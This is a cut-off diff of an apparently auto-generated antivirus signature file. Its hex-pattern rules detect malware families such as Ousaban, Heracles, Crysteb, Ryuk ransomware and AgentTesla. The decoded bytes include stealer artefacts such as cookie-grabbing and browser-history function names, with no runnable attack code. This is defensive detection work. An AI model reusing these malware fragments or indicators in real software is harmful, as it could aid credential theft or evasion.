_InfrastructureShared_28172{ +rule _InfrastructureShared_29921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -367349,7 +390151,7 @@ rule _InfrastructureShared_28172{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17184+(#a_01_2 & 1)*17263) >=3 } -rule _InfrastructureShared_28173{ +rule _InfrastructureShared_29922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -367362,7 +390164,7 @@ rule _InfrastructureShared_28173{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25193+(#a_01_2 & 1)*111+(#a_01_3 & 1)*28265) >=30 } -rule _InfrastructureShared_28174{ +rule _InfrastructureShared_29923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,69 00 69 00 0b 00 21 " @@ -367379,7 +390181,7 @@ rule _InfrastructureShared_28174{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28005+(#a_01_2 & 1)*31090+(#a_01_3 & 1)*13663+(#a_01_4 & 1)*26773+(#a_01_5 & 1)*24832+(#a_01_6 & 1)*0+(#a_01_7 & 1)*29811) >=105 } -rule _InfrastructureShared_28175{ +rule _InfrastructureShared_29924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -367389,7 +390191,7 @@ rule _InfrastructureShared_28175{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_28176{ +rule _InfrastructureShared_29925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -367404,7 +390206,7 @@ rule _InfrastructureShared_28176{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*12148+(#a_01_2 & 1)*16240+(#a_01_3 & 1)*28521+(#a_01_4 & 1)*24832+(#a_01_5 & 1)*0) >=5 } -rule _InfrastructureShared_28177{ +rule _InfrastructureShared_29926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -367422,7 +390224,7 @@ rule _InfrastructureShared_28177{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29550+(#a_01_2 & 1)*0+(#a_01_3 & 1)*25960+(#a_01_4 & 1)*10+(#a_01_5 & 1)*0+(#a_01_6 & 1)*101+(#a_01_7 & 1)*92+(#a_01_8 & 1)*22330) >=9 } -rule _InfrastructureShared_28178{ +rule _InfrastructureShared_29927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -367434,7 +390236,7 @@ rule _InfrastructureShared_28178{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29285+(#a_01_2 & 1)*26740) >=30 } -rule _InfrastructureShared_28179{ +rule _InfrastructureShared_29928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -367445,7 +390247,7 @@ rule _InfrastructureShared_28179{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*65) >=2 } -rule _InfrastructureShared_28180{ +rule _InfrastructureShared_29929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -367456,7 +390258,7 @@ rule _InfrastructureShared_28180{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*101) >=3 } -rule _InfrastructureShared_28181{ +rule _InfrastructureShared_29930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367466,7 +390268,7 @@ rule _InfrastructureShared_28181{ ((#a_01_0 & 1)*16675) >=4 } -rule _InfrastructureShared_28182{ +rule _InfrastructureShared_29931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367478,7 +390280,7 @@ rule _InfrastructureShared_28182{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*22291+(#a_01_3 & 1)*8260) >=4 } -rule _InfrastructureShared_28183{ +rule _InfrastructureShared_29932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -367491,7 +390293,7 @@ rule _InfrastructureShared_28183{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*71+(#a_01_3 & 1)*69+(#a_01_4 & 1)*13357) >=5 } -rule _InfrastructureShared_28184{ +rule _InfrastructureShared_29933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " @@ -367505,7 +390307,7 @@ rule _InfrastructureShared_28184{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29301+(#a_01_2 & 1)*25199+(#a_01_4 & 1)*112+(#a_01_5 & 1)*105) >=5 } -rule _InfrastructureShared_28185{ +rule _InfrastructureShared_29934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -367518,7 +390320,7 @@ rule _InfrastructureShared_28185{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2+(#a_01_4 & 1)*5) >=7 } -rule _InfrastructureShared_28186{ +rule _InfrastructureShared_29935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 09 00 21 " @@ -367526,15 +390328,33 @@ rule _InfrastructureShared_28186{ $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4f 75 73 61 62 61 6e 2e 42 00 01 00 13 5f 5f 64 62 6b 5f 66 63 61 6c 6c 5f 77 72 61 70 70 65 72 01 00 13 64 62 6b 46 43 61 6c 6c 57 72 61 70 70 65 72 41 64 64 72 01 00 12 4e 76 53 6d } //16675 㩆牔橯湡场湩㈳伯獵扡湡䈮Āጀ彟扤彫捦污彬牷灡数Ųጀ扤䙫慃汬牗灡数䅲摤Ųሀ癎浓 $a_01_1 = {4d 61 78 53 68 75 74 64 6f 77 6e 01 00 18 4e 76 53 6d 61 72 74 4d 61 78 5f 4f 6e 53 65 74 57 6f 72 6b 41 72 65 61 01 00 11 4d 61 67 6e 69 66 69 63 61 74 69 6f 6e 2e 64 6c 6c 01 00 1a 4d 61 67 53 65 74 49 6d 61 67 65 53 63 61 6c 69 6e 67 43 61 6c 6c 62 61 63 6b 01 00 12 4d 61 67 53 65 74 57 69 6e 64 6f 77 53 6f 75 72 63 65 02 00 05 2e 76 6d 70 30 } //29281 $a_01_2 = {2e 76 6d 70 31 } //2 .vmp1 - $a_01_3 = {d7 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6e 6c 74 65 73 74 2e 65 78 65 00 0a 00 18 6e 00 6c 00 74 00 65 00 73 00 74 00 72 00 6b 00 2e 00 65 00 78 00 65 00 0a 00 21 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 64 6f 77 73 2e 4e 65 74 6c 6f 67 6f 6e 2e 4e 6c 54 65 73 74 0a 00 1f 44 63 53 6f 63 } //0 - $a_01_4 = {41 64 64 72 65 73 73 2e 69 53 6f 63 6b 61 64 64 72 4c 65 6e 67 74 68 0a 00 5a 4e 00 65 00 74 00 70 00 44 00 63 00 50 00 61 00 72 00 73 00 65 00 50 00 69 00 6e 00 67 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 3a 00 20 00 25 00 77 00 73 00 3a 00 20 00 44 00 4e 00 53 00 20 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 62 00 61 00 64 00 2e 00 } //25963 - $a_01_5 = {d7 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6f 70 65 6e 77 69 74 68 2e 65 78 65 00 0a 00 18 4f 00 70 00 65 00 6e 00 57 00 69 00 74 00 68 00 2e 00 65 00 78 00 65 00 0a 00 56 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2d 00 53 00 68 } //0 - $a_01_7 = {00 2d 00 4f 00 70 00 65 00 6e 00 57 00 69 00 74 00 68 00 2f 00 44 00 69 00 61 00 67 00 6e 00 6f 00 73 00 74 00 69 00 63 00 0a 00 1a 4d 69 63 72 6f 73 6f 66 74 2e 4f 70 65 6e 57 69 74 68 2e 50 52 4f 47 52 41 4d 0a 00 28 4f 00 70 00 65 00 6e 00 57 00 69 00 74 00 68 00 53 00 65 00 74 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 } //108 + $a_01_3 = {d7 00 00 0d 00 0d 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 72 61 63 6c 65 73 2e 52 4d 58 21 4d 54 42 00 05 00 25 24 43 46 33 35 39 46 36 42 2d 41 46 31 46 2d 34 39 45 43 2d 41 39 37 37 2d 38 31 45 43 42 33 37 37 34 43 42 45 05 00 1a 57 65 62 56 69 65 77 32 43 } //0 + $a_01_4 = {72 6f 6c 5f 49 6e 69 74 69 61 6c 69 7a 65 01 00 0b 4c 61 72 67 65 73 74 45 76 65 6e 01 00 09 4d 61 78 4e 75 6d 62 65 72 01 00 08 53 75 6d 41 72 72 61 79 01 00 10 52 65 6d 6f 76 65 44 75 70 6c 69 63 61 74 65 73 01 00 0c 52 65 76 65 72 73 65 57 6f 72 64 73 01 00 0f 43 75 72 72 65 6e 74 44 61 74 65 54 69 6d 65 01 00 0a 50 61 6c 69 6e 64 72 6f 6d 65 } //28271 + $a_01_5 = {d7 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6e 6c 74 65 73 74 2e 65 78 65 00 0a 00 18 6e 00 6c 00 74 00 65 00 73 00 74 00 72 00 6b 00 2e 00 65 00 78 00 65 00 0a 00 21 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 64 6f 77 73 2e 4e 65 74 6c 6f 67 6f 6e 2e 4e 6c 54 65 73 74 0a 00 1f 44 63 53 6f 63 } //0 + $a_01_6 = {41 64 64 72 65 73 73 2e 69 53 6f 63 6b 61 64 64 72 4c 65 6e 67 74 68 0a 00 5a 4e 00 65 00 74 00 70 00 44 00 63 00 50 00 61 00 72 00 73 00 65 00 50 00 69 00 6e 00 67 00 52 00 65 00 73 00 70 00 6f 00 6e 00 73 00 65 00 3a 00 20 00 25 00 77 00 73 00 3a 00 20 00 44 00 4e 00 53 00 20 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 62 00 61 00 64 00 2e 00 } //25963 + $a_01_7 = {d7 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6f 70 65 6e 77 69 74 68 2e 65 78 65 00 0a 00 18 4f 00 70 00 65 00 6e 00 57 00 69 00 74 00 68 00 2e 00 65 00 78 00 65 00 0a 00 56 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2d 00 53 00 68 } //0 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*2+(#a_01_3 & 1)*0+(#a_01_4 & 1)*25963+(#a_01_5 & 1)*0+(#a_01_7 & 1)*108) >=10 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*2+(#a_01_3 & 1)*0+(#a_01_4 & 1)*28271+(#a_01_5 & 1)*0+(#a_01_6 & 1)*25963+(#a_01_7 & 1)*0) >=10 } -rule _InfrastructureShared_28187{ +rule _InfrastructureShared_29936{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 09 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 48 65 72 61 63 6c 65 73 2e 52 4d 58 21 4d 54 42 00 05 00 25 24 43 46 33 35 39 46 36 42 2d 41 46 31 46 2d 34 39 45 43 2d 41 39 37 37 2d 38 31 45 43 42 33 37 37 34 43 42 45 05 00 1a 57 } //21283 + $a_01_1 = {69 65 77 32 43 6f 6e 74 72 6f 6c 5f 49 6e 69 74 69 61 6c 69 7a 65 01 00 0b 4c 61 72 67 65 73 74 45 76 65 6e 01 00 09 4d 61 78 4e 75 6d 62 65 72 01 00 08 53 75 6d 41 72 72 61 79 01 00 10 52 65 6d 6f 76 65 44 75 70 6c 69 63 61 74 65 73 01 00 0c 52 65 76 65 72 } //25189 + $a_01_2 = {6f 72 64 73 01 00 0f 43 75 72 72 65 6e 74 44 61 74 65 54 69 6d 65 01 00 0a 50 61 6c 69 6e 64 72 6f 6d 65 00 00 61 d7 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6e 6c 74 65 73 74 2e 65 78 65 00 0a 00 18 6e 00 6c 00 74 00 65 00 73 00 74 00 72 00 6b 00 2e 00 65 00 } //25971 + $a_01_3 = {00 0a 00 21 4d 69 63 72 6f 73 6f 66 74 2e 57 69 6e 64 6f 77 73 2e 4e 65 74 6c 6f 67 6f 6e 2e 4e 6c 54 65 73 74 0a 00 1f 44 63 53 6f 63 6b 65 74 41 64 64 72 65 73 73 2e 69 53 6f 63 6b 61 64 64 72 4c 65 6e 67 74 68 0a 00 5a 4e 00 65 00 74 00 70 00 44 00 63 00 50 00 61 00 72 00 73 00 65 00 50 00 69 00 6e } //120 + $a_01_5 = {00 73 00 70 00 6f 00 6e 00 73 00 65 00 3a 00 20 00 25 00 77 00 73 00 3a 00 20 00 44 00 4e 00 53 00 20 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 20 00 62 00 61 00 64 00 2e 00 00 00 61 d7 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6f 70 65 6e 77 69 74 68 2e 65 78 65 00 0a 00 18 4f 00 70 00 65 00 6e 00 57 00 } //82 + $a_01_6 = {00 68 00 2e 00 65 00 78 00 65 00 0a 00 56 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2d 00 53 00 68 00 65 00 6c 00 6c 00 2d 00 4f 00 70 00 65 00 6e 00 57 00 69 00 74 00 68 00 2f 00 44 00 69 00 61 00 67 00 6e 00 6f 00 73 00 74 00 69 00 63 00 0a 00 1a 4d 69 63 72 6f 73 6f 66 74 2e 4f 70 65 } //105 + $a_01_7 = {74 68 2e 50 52 4f 47 52 41 4d 0a 00 28 4f 00 70 00 65 00 6e 00 57 00 69 00 74 00 68 00 53 00 65 00 74 00 44 00 65 00 66 00 61 00 75 00 6c 00 74 00 4f 00 6e 00 00 00 61 d8 00 00 02 00 02 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 73 74 65 62 5f 41 44 21 4d 54 42 00 01 00 40 22 6d } //22382 + $a_01_8 = {68 65 73 22 3a 5b 22 68 74 74 70 3a 2f 2f 2a 2f 2a 22 2c 20 22 68 74 74 70 73 3a 2f 2f 2a 2f 2a 22 5d 2c 22 72 75 6e 5f 61 74 22 3a 22 64 6f 63 75 6d 65 6e 74 5f 65 6e 64 22 7d 01 00 0d 3a 2f 2f 67 6f 2e 6d 61 69 6c 2e 72 75 01 00 15 5c 59 61 6e 64 65 78 5c 59 61 6e 64 65 78 42 72 6f 77 73 65 72 } //29793 + condition: + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25189+(#a_01_2 & 1)*25971+(#a_01_3 & 1)*120+(#a_01_5 & 1)*82+(#a_01_6 & 1)*105+(#a_01_7 & 1)*22382+(#a_01_8 & 1)*29793) >=13 + +} +rule _InfrastructureShared_29937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -367547,7 +390367,7 @@ rule _InfrastructureShared_28187{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*27726+(#a_01_2 & 1)*101+(#a_01_3 & 1)*20038) >=30 } -rule _InfrastructureShared_28188{ +rule _InfrastructureShared_29938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -367559,7 +390379,7 @@ rule _InfrastructureShared_28188{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*111+(#a_01_3 & 1)*108) >=30 } -rule _InfrastructureShared_28189{ +rule _InfrastructureShared_29939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -367572,7 +390392,7 @@ rule _InfrastructureShared_28189{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25634+(#a_01_2 & 1)*29250+(#a_01_4 & 1)*97) >=2 } -rule _InfrastructureShared_28190{ +rule _InfrastructureShared_29940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -367586,7 +390406,7 @@ rule _InfrastructureShared_28190{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*122+(#a_01_3 & 1)*95+(#a_01_4 & 1)*14960+(#a_01_5 & 1)*6656) >=6 } -rule _InfrastructureShared_28191{ +rule _InfrastructureShared_29941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -367603,7 +390423,7 @@ rule _InfrastructureShared_28191{ ((#a_01_0 & 1)*14115+(#a_01_1 & 1)*29550+(#a_01_2 & 1)*100+(#a_01_3 & 1)*26951+(#a_01_4 & 1)*3+(#a_01_5 & 1)*14913+(#a_01_6 & 1)*26213+(#a_01_7 & 1)*101) >=8 } -rule _InfrastructureShared_28192{ +rule _InfrastructureShared_29942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 04 00 21 " @@ -367616,7 +390436,7 @@ rule _InfrastructureShared_28192{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28522+(#a_01_2 & 1)*1+(#a_01_3 & 1)*0) >=100 } -rule _InfrastructureShared_28193{ +rule _InfrastructureShared_29943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -367628,7 +390448,7 @@ rule _InfrastructureShared_28193{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*10793+(#a_01_3 & 1)*112) >=3 } -rule _InfrastructureShared_28194{ +rule _InfrastructureShared_29944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 06 00 21 " @@ -367642,7 +390462,7 @@ rule _InfrastructureShared_28194{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*115+(#a_01_3 & 1)*0+(#a_01_4 & 1)*97+(#a_01_5 & 1)*99) >=7 } -rule _InfrastructureShared_28195{ +rule _InfrastructureShared_29945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 02 00 21 " @@ -367652,7 +390472,7 @@ rule _InfrastructureShared_28195{ ((#a_01_0 & 1)*18467) >=11 } -rule _InfrastructureShared_28196{ +rule _InfrastructureShared_29946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1f 00 1f 00 06 00 21 " @@ -367666,7 +390486,7 @@ rule _InfrastructureShared_28196{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29541+(#a_01_2 & 1)*30313+(#a_01_4 & 1)*32+(#a_01_5 & 1)*37) >=31 } -rule _InfrastructureShared_28197{ +rule _InfrastructureShared_29947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -367679,7 +390499,7 @@ rule _InfrastructureShared_28197{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*34+(#a_01_2 & 1)*115+(#a_01_3 & 1)*4) >=3 } -rule _InfrastructureShared_28198{ +rule _InfrastructureShared_29948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -367691,7 +390511,7 @@ rule _InfrastructureShared_28198{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*26130+(#a_01_2 & 1)*83) >=4 } -rule _InfrastructureShared_28199{ +rule _InfrastructureShared_29949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -367703,7 +390523,7 @@ rule _InfrastructureShared_28199{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*19472+(#a_01_2 & 1)*28265) >=3 } -rule _InfrastructureShared_28200{ +rule _InfrastructureShared_29950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 06 00 21 " @@ -367718,7 +390538,7 @@ rule _InfrastructureShared_28200{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29810+(#a_01_2 & 1)*29295+(#a_01_3 & 1)*29285+(#a_01_4 & 1)*12320+(#a_01_5 & 1)*8307) >=3 } -rule _InfrastructureShared_28201{ +rule _InfrastructureShared_29951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -367732,7 +390552,7 @@ rule _InfrastructureShared_28201{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*30018+(#a_01_2 & 1)*25968+(#a_01_3 & 1)*9533+(#a_01_4 & 1)*1792) >=5 } -rule _InfrastructureShared_28202{ +rule _InfrastructureShared_29952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 07 00 21 " @@ -367748,7 +390568,7 @@ rule _InfrastructureShared_28202{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29540+(#a_01_2 & 1)*21604+(#a_01_3 & 1)*100+(#a_01_4 & 1)*16240+(#a_01_5 & 1)*4864+(#a_01_6 & 1)*73) >=5 } -rule _InfrastructureShared_28203{ +rule _InfrastructureShared_29953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -367762,7 +390582,7 @@ rule _InfrastructureShared_28203{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*67+(#a_01_2 & 1)*25934+(#a_01_3 & 1)*29285+(#a_01_5 & 1)*16649) >=6 } -rule _InfrastructureShared_28204{ +rule _InfrastructureShared_29954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -367776,7 +390596,7 @@ rule _InfrastructureShared_28204{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25458+(#a_01_3 & 1)*68+(#a_01_4 & 1)*21317+(#a_01_5 & 1)*26957) >=6 } -rule _InfrastructureShared_28205{ +rule _InfrastructureShared_29955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -367791,7 +390611,7 @@ rule _InfrastructureShared_28205{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*5120+(#a_01_2 & 1)*29806+(#a_01_3 & 1)*25929+(#a_01_4 & 1)*24899+(#a_01_6 & 1)*10) >=7 } -rule _InfrastructureShared_28206{ +rule _InfrastructureShared_29956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0b 00 21 " @@ -367800,29 +390620,41 @@ rule _InfrastructureShared_28206{ $a_01_1 = {6f 78 43 6f 6f 6b 69 65 73 01 00 13 54 72 79 47 65 74 43 68 72 6f 6d 65 43 6f 6f 6b 69 65 73 01 00 0a 44 65 76 69 63 65 49 6e 66 6f 01 00 09 43 61 63 68 65 49 6e 66 6f 01 00 12 43 68 65 63 6b 53 71 6c 69 74 65 48 69 73 74 6f 72 79 01 00 0b 5f 67 6f 74 44 65 76 69 63 65 73 01 00 0f 67 65 74 5f 41 70 70 44 } //25970 $a_01_2 = {50 61 74 68 01 00 09 57 69 46 69 46 6f 46 75 6d 00 00 61 db 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 69 65 34 75 69 6e 69 74 2e 65 78 65 00 0a 00 18 49 00 45 00 34 00 55 00 49 00 4e 00 49 00 54 00 2e 00 45 00 58 00 45 00 0a 00 4c 4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 20 00 46 00 } //29793 $a_01_3 = {00 73 00 74 00 20 00 48 00 6f 00 6d 00 65 00 20 00 50 00 61 00 67 00 65 00 20 00 52 00 65 00 73 00 75 00 6c 00 74 00 3a 00 25 00 31 00 21 00 6c 00 78 00 21 00 0a 00 44 49 00 45 00 20 00 50 00 65 00 72 00 2d 00 55 00 73 00 65 00 72 00 20 00 49 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 61 00 74 00 69 00 6f 00 6e 00 20 00 55 00 74 00 } //105 - $a_01_4 = {00 69 00 74 00 79 00 0a 00 0c 69 65 34 75 69 6e 69 74 2e 70 64 62 00 00 61 dc 00 00 05 00 05 00 09 00 21 43 72 6f 73 73 52 69 64 65 72 00 01 00 14 43 72 6f 73 73 72 69 64 65 72 42 61 63 6b 67 72 6f 75 6e 64 01 00 0d 63 72 6f 73 73 42 68 6f 45 76 65 6e 74 01 00 0d 43 72 6f 73 73 72 69 64 65 72 41 70 70 01 00 13 43 72 6f 73 } //105 - $a_01_5 = {64 65 72 20 4a 53 20 45 72 72 6f 72 01 00 15 43 43 72 6f 73 73 72 69 64 65 72 42 75 74 74 6f 6e 49 6e 66 6f 01 00 1c 53 6f 66 74 77 61 72 65 5c 43 72 6f 73 73 72 69 64 65 72 5c 6f 6e 52 65 71 75 65 73 01 00 17 44 65 73 74 72 6f 79 43 72 6f 73 73 72 69 64 65 72 57 69 6e 64 6f 77 01 00 16 43 72 65 61 74 65 43 72 6f } //29299 - $a_01_6 = {69 64 65 72 57 69 6e 64 6f 77 01 00 0e 43 43 72 6f 73 73 72 69 64 65 72 42 48 4f 00 00 61 dc 00 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 6b 50 39 32 21 4d 54 42 00 01 00 09 66 72 6d 42 61 73 65 53 46 01 00 16 45 78 63 65 70 74 69 6f 6e 46 72 6f 6d 45 72 72 6f 72 43 6f 64 } //29555 - $a_01_8 = {53 65 65 01 00 13 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 0f 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 09 67 65 74 5f 41 53 43 49 49 01 00 09 47 65 74 53 74 72 69 6e 67 01 00 08 47 65 74 42 79 74 65 73 01 00 0a 46 72 6f 6d 42 61 73 65 36 34 01 00 25 24 65 65 61 34 65 63 36 64 2d 34 37 61 66 2d 34 65 31 35 2d } //16645 - $a_01_9 = {62 2d 35 38 39 31 63 36 62 61 62 37 32 63 00 00 61 dd 00 00 01 00 01 00 02 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 52 79 75 6b 2e 4b 41 00 01 00 5a 55 73 65 72 73 5c 41 64 6d 69 6e 5c 44 6f 63 75 6d 65 6e 74 73 5c 56 69 73 75 61 6c 5f 53 74 75 64 69 6f 5f 32 30 31 35 5c 50 72 6f 6a } //26169 - $a_01_10 = {73 5c 43 72 79 70 74 6f 72 32 2e 30 20 53 69 6d 70 6c 65 5c 52 65 6c 65 61 73 65 5c 43 72 79 70 74 6f 72 32 2e 30 2e 70 64 62 01 00 5a 55 73 65 72 73 5c 41 64 6d 69 6e 5c 44 6f 63 75 6d 65 6e 74 73 5c 56 69 73 75 61 6c 20 53 74 75 64 69 6f 20 32 30 31 35 5c 50 72 6f 6a 65 63 74 73 5c 43 72 79 70 74 6f 72 32 2e 30 20 53 69 6d 70 6c 65 5c 52 65 6c } //25445 + $a_01_4 = {00 69 00 74 00 79 00 0a 00 0c 69 65 34 75 69 6e 69 74 2e 70 64 62 00 00 61 dc 00 00 04 00 04 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4c 4f 31 32 00 02 00 4f 06 02 09 11 04 6f ab 01 00 06 13 05 04 03 6f 57 00 00 0a 59 13 06 11 06 19 28 10 00 00 06 2c 0a 03 11 05 } //105 + $a_01_6 = {0f 11 06 16 31 0a 03 11 05 11 06 28 12 00 00 06 11 04 17 58 13 04 11 04 08 17 94 2f 09 03 6f 57 00 00 0a 04 32 b1 01 00 36 41 6c } //1536 + $a_01_7 = {72 6f 5f 53 79 6d 70 68 6f 6e 79 45 64 69 74 69 6f 6e 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 22 41 6c 6c 65 67 72 6f 5f 53 79 6d 70 68 6f 6e 79 45 64 69 74 69 6f 6e 2e 50 72 6f 70 65 72 74 69 65 73 00 00 61 dc 00 00 05 00 05 00 09 00 21 43 72 6f 73 } //25964 + $a_01_8 = {64 65 72 00 01 00 14 43 72 6f 73 73 72 69 64 65 72 42 61 63 6b 67 72 6f 75 6e 64 01 00 0d 63 72 6f 73 73 42 68 6f 45 76 65 6e 74 01 00 0d 43 72 6f 73 73 72 69 64 65 72 41 70 70 01 00 13 43 72 6f 73 73 72 69 64 65 72 20 4a 53 20 45 72 72 6f 72 01 00 15 43 43 72 6f 73 73 72 69 64 65 72 42 75 74 74 6f 6e 49 6e 66 6f } //21107 + $a_01_9 = {53 6f 66 74 77 61 72 65 5c 43 72 6f 73 73 72 69 64 65 72 5c 6f 6e 52 65 71 75 65 73 } //1 Software\Crossrider\onReques + $a_01_10 = {44 65 73 74 72 6f 79 43 72 6f 73 73 72 69 64 65 72 57 69 6e 64 6f 77 } //1 DestroyCrossriderWindow condition: - ((#a_01_0 & 